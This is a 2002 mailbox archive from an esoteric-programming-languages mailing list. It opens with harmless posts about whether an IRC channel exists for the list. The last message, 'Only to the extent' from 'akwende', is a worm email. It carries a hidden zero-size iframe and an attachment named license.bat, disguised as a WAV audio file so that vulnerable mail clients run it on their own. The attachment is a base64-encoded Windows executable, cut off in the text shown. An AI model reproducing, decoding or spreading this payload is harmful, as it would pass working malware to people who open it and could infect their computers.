SYSTEMS DEVELOPER & SOFTWARE CONSULTANT
Tel:  +27 82 4455949  Fax: +27 82 131 4455949
Email: ddevilliers@lando.co.za
Web Address: http://www.lando.co.za/Lennie
My CV: http://www.lando.co.za/Lennie/CV.htm







From esoteric@oiva.sange.fi Tue May 21 17:14:22 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17AAOU-000BsX-00; Tue, 21 May 2002 17:13:42 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 21 May 2002 17:13:35 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17AANt-000BsQ-00; Tue, 21 May 2002 17:13:05 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 21 May 2002 17:12:58 +0300 (EEST)
Received: from ctb-mesg1.saix.net ([196.25.240.73])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17AANj-000BsK-00
	for lang@esoteric.sange.fi; Tue, 21 May 2002 17:12:56 +0300
Received: from lennie (woc53-01-p151.wc.saix.net [155.239.129.151])
	by ctb-mesg1.saix.net (8.11.4/8.11.4) with SMTP id g4LECjv11422
	for <lang@esoteric.sange.fi>; Tue, 21 May 2002 16:12:46 +0200 (SAT)
Message-ID: <01e301c200d0$c3bf7fe0$e881ef9b@lennie>
From: "D De Villiers" <ddevilliers@lando.co.za>
To: <lang@esoteric.sange.fi>
References: <002401c200ab$c08a6c60$e881ef9b@lennie>
Subject: [lang] Re: EsoLang MiRC channel ?
Date: Tue, 21 May 2002 13:38:59 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
X-list: misc

Hello Again!

My IRC nickname's "TheGentleBoy". If you see me on IRC and wanna chat.

Lennie De Villiers

SYSTEMS DEVELOPER & SOFTWARE CONSULTANT
Tel:  +27 82 4455949  Fax: +27 82 131 4455949
Email: ddevilliers@lando.co.za
Web Address: http://www.lando.co.za/Lennie
My CV: http://www.lando.co.za/Lennie/CV.htm







From esoteric@oiva.sange.fi Tue May 21 21:47:23 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17AEf0-000CyV-00; Tue, 21 May 2002 21:47:02 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 21 May 2002 21:46:55 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17AEeL-000CyI-00; Tue, 21 May 2002 21:46:21 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 21 May 2002 21:46:14 +0300 (EEST)
Received: from web12901.mail.yahoo.com ([216.136.174.68])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 17AEeD-000CyC-00
	for lang@esoteric.sange.fi; Tue, 21 May 2002 21:46:13 +0300
Message-ID: <20020521184610.50783.qmail@web12901.mail.yahoo.com>
Received: from [24.78.145.92] by web12901.mail.yahoo.com via HTTP; Tue, 21 May 2002 11:46:10 PDT
Date: Tue, 21 May 2002 11:46:10 -0700 (PDT)
From: Nikita Ayzikovsky <order_of_may@yahoo.com>
Subject: [lang] Re: EsoLang MiRC channel ?
To: lang@esoteric.sange.fi
In-Reply-To: <002401c200ab$c08a6c60$e881ef9b@lennie>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
X-list: misc

--- D De Villiers <ddevilliers@lando.co.za> wrote:

> Hello!
> 
> Is there a MiRC channel for esoteric languages ?

It is called "IRC", not MiRC or mIRC. Please.



__________________________________________________
Do You Yahoo!?
LAUNCH - Your Yahoo! Music Experience
http://launch.yahoo.com





From esoteric@oiva.sange.fi Wed May 22 12:40:45 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17ASbD-000GKk-00; Wed, 22 May 2002 12:40:03 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 22 May 2002 12:39:56 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17ASad-000GKc-00; Wed, 22 May 2002 12:39:28 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 22 May 2002 12:39:20 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17ASaV-000GKW-00
	for lang@esoteric.sange.fi; Wed, 22 May 2002 12:39:19 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g4M9dGB04539
	for <lang@esoteric.sange.fi>; Wed, 22 May 2002 12:39:16 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g4M9dCn23785
	for <lang@esoteric.sange.fi>; Wed, 22 May 2002 12:39:12 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Wed, 22 May 2002 12:39:12 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: EsoLang Lang <lang@esoteric.sange.fi>
Subject: [lang] Re: [ot] EsoLang MiRC channel ?
In-Reply-To: <002401c200ab$c08a6c60$e881ef9b@lennie>
Message-ID: <Pine.LNX.4.44.0205221232560.21926-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Mon, 20 May 2002, D De Villiers wrote:
> Is there a MiRC channel for esoteric languages ?

I shouldn't, but I just have to...

"It is extremely difficult to exclude specific clients from IRC channels, 
such as denying all, say, irssi clients or allowing only MIRC clients on 
the channel. A relatively sophisticated bot could inspect various details, 
such as the client's responses to various CTCP requests, to deduce the 
type of client and kick out all non-MIRC clients, for example. However, as 
this is both tedious to do and extremely stupid, people are highly 
encouraged to allow channel members to use whatever client they please."

As for a real answer about _IRC_ channels, I think somebody founded a 
channel in DALnet. I don't remember what it was called, please check the 
list archives at http://esoteric.sange.fi/archive/

Panu

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi








From esoteric@oiva.sange.fi Wed May 22 12:50:39 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17ASlM-000GTJ-00; Wed, 22 May 2002 12:50:32 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 22 May 2002 12:50:25 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17ASl8-000GTD-00; Wed, 22 May 2002 12:50:18 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 22 May 2002 12:50:11 +0300 (EEST)
Received: from ctb-mesg2.saix.net ([196.25.240.74])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17ASkz-000GT6-00
	for lang@esoteric.sange.fi; Wed, 22 May 2002 12:50:09 +0300
Received: from lennie (woc53-01-p211.wc.saix.net [155.239.129.211])
	by ctb-mesg2.saix.net (8.11.4/8.11.4) with SMTP id g4M9o1d06304
	for <lang@esoteric.sange.fi>; Wed, 22 May 2002 11:50:02 +0200 (SAT)
Message-ID: <012101c20175$39fbcd40$8781ef9b@lennie>
From: "D De Villiers" <ddevilliers@lando.co.za>
To: <lang@esoteric.sange.fi>
References: <20020521184610.50783.qmail@web12901.mail.yahoo.com>
Subject: [lang] Re: EsoLang MiRC channel ?
Date: Wed, 22 May 2002 10:12:35 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
X-list: misc

> It is called "IRC", not MiRC or mIRC. Please.

Oo' Sorry ! ;-)

Lennie De Villiers

SYSTEMS DEVELOPER & SOFTWARE CONSULTANT
Tel:  +27 82 4455949  Fax: +27 82 131 4455949
Email: ddevilliers@lando.co.za
Web Address: http://www.lando.co.za/Lennie
My CV: http://www.lando.co.za/Lennie/CV.htm







From esoteric@oiva.sange.fi Tue May 28 17:14:24 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Chj2-000HBw-00; Tue, 28 May 2002 17:13:24 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 28 May 2002 17:13:16 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17ChhV-000HBj-00; Tue, 28 May 2002 17:11:49 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 28 May 2002 17:11:41 +0300 (EEST)
Received: from relais.videotron.ca ([24.201.245.36] helo=VL-MS-MR002.sc1.videotron.ca)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Chgg-000HB6-00
	for lang@esoteric.sange.fi; Tue, 28 May 2002 17:10:59 +0300
Received: from Knpjzrj ([66.130.172.172]) by
          VL-MS-MR002.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with SMTP id GWTRDV03.VBM for <lang@esoteric.sange.fi>; Tue, 28
          May 2002 10:10:43 -0400 
From: akwende <akwende@worldmailer.com>
To: lang@esoteric.sange.fi
Subject: [lang] Only to the extent
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary=PZ04YBP356I1eU7Z3T3Q36sev9zE4jxh2
Message-Id: <E17Chgg-000HB6-00@oiva.sange.fi>
Date: Tue, 28 May 2002 17:10:59 +0300
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: akwende@worldmailer.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: akwende@worldmailer.com
Precedence: bulk
X-list: misc

--PZ04YBP356I1eU7Z3T3Q36sev9zE4jxh2
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:Be4YBd57s8K0Z6868 height=3D0 width=3D0>
</iframe>
<FONT></FONT></BODY></HTML>

--PZ04YBP356I1eU7Z3T3Q36sev9zE4jxh2
Content-Type: audio/x-wav;
	name=license.bat
Content-Transfer-Encoding: base64
Content-ID: <Be4YBd57s8K0Z6868>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn
GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA
UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA
QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA
ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ
AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA
QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA
AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
